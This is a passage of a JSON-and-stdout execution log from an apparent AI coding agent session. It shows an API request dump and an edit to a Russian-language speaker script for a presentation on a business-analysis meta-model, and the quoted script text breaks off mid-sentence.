}\n[2026-09-29T07:55:38.320Z] [INFO]           ]\n[2026-09-29T07:55:38.320Z] [INFO]         }\n[2026-09-29T07:55:38.320Z] [INFO]       ],\n[2026-09-29T07:55:38.320Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:55:38.320Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:55:38.320Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\"\n[2026-09-29T07:55:38.320Z] [INFO]       ]\n[2026-09-29T07:55:38.320Z] [INFO]     }\n[2026-09-29T07:55:38.320Z] [INFO]   }\n[2026-09-29T07:55:38.320Z] [INFO] }\n[2026-09-29T07:55:38.349Z] [STDOUT] [log_5031e9] sending request {\n[2026-09-29T07:55:38.352Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:55:38.354Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:38.357Z] [STDOUT]   options: {\n[2026-09-29T07:55:38.359Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:55:38.362Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:55:38.364Z] [STDOUT]     body: {\n[2026-09-29T07:55:38.367Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:55:38.374Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:55:38.377Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:55:38.380Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:55:38.383Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:55:38.388Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:55:38.392Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:55:38.397Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:55:38.401Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:55:38.404Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:55:38.406Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:55:38.410Z] [STDOUT]       stream: true,\n[2026-09-29T07:55:38.413Z] [STDOUT]     },\n[2026-09-29T07:55:38.415Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:55:38.422Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:55:38.428Z] [STDOUT]       aborted: false,\n[2026-09-29T07:55:38.431Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:55:38.434Z] [STDOUT]       onabort: null,\n[2026-09-29T07:55:38.438Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:55:38.443Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:55:38.448Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:55:38.452Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:55:38.455Z] [STDOUT]     },\n[2026-09-29T07:55:38.457Z] [STDOUT]     stream: true,\n[2026-09-29T07:55:38.459Z] [STDOUT]   },\n[2026-09-29T07:55:38.464Z] [STDOUT]   headers: {\n[2026-09-29T07:55:38.466Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:55:38.468Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:55:38.475Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:55:38.478Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:55:38.483Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:55:38.489Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:55:38.493Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:55:38.501Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:55:38.507Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:55:38.512Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1617\",\n[2026-09-29T07:55:38.520Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:55:38.527Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:55:38.535Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:38.542Z] [STDOUT]     \"x-client-request-id\": \"b10e5615-634f-409b-812c-6e7677e2931e\",\n[2026-09-29T07:55:38.547Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:55:38.553Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:55:38.556Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:55:38.565Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:55:38.571Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:55:38.574Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:55:38.581Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:55:38.585Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:55:38.587Z] [STDOUT]   },\n[2026-09-29T07:55:38.590Z] [STDOUT] }\n[2026-09-29T07:55:39.178Z] [STDOUT] [log_5031e9, request-id: \"req_011CfXNXzBShRHictvwBzDdX\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 829ms\n[2026-09-29T07:55:39.187Z] [STDOUT] [log_5031e9] response start {\n[2026-09-29T07:55:39.197Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:39.202Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:39.208Z] [STDOUT]   headers: {\n[2026-09-29T07:55:39.216Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:39.223Z] [STDOUT]     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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:39.467Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:39.469Z] [STDOUT]   body: X {\n[2026-09-29T07:55:39.472Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:55:39.477Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:55:39.481Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:55:39.484Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:55:39.485Z] [STDOUT]     },\n[2026-09-29T07:55:39.487Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:55:39.489Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:55:39.491Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:55:39.492Z] [STDOUT]   },\n[2026-09-29T07:55:39.494Z] [STDOUT]   durationMs: 830,\n[2026-09-29T07:55:39.496Z] [STDOUT] }\n[2026-09-29T07:55:41.399Z] [INFO] {\n[2026-09-29T07:55:41.399Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:41.399Z] [INFO] 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\"tool_result\",\n[2026-09-29T07:55:41.527Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md has been updated successfully. (note: the file had been modified on disk since you last read it \u2014 the edit applied cleanly, but the file contains other changes not in your context. Read it before edits that depend on surrounding content.)\"\n[2026-09-29T07:55:41.527Z] [INFO]       }\n[2026-09-29T07:55:41.527Z] [INFO]     ]\n[2026-09-29T07:55:41.527Z] [INFO]   },\n[2026-09-29T07:55:41.527Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:41.527Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:41.527Z] [INFO]   \"uuid\": \"fce14c40-f804-4cad-9e95-ae34896e4d34\",\n[2026-09-29T07:55:41.527Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:41.507Z\",\n[2026-09-29T07:55:41.527Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:41.527Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:41.527Z] [INFO]     \"oldString\": \"  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\\n  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\",\n[2026-09-29T07:55:41.527Z] [INFO]     \"newString\": \"  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\\n  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\",\n[2026-09-29T07:55:41.527Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 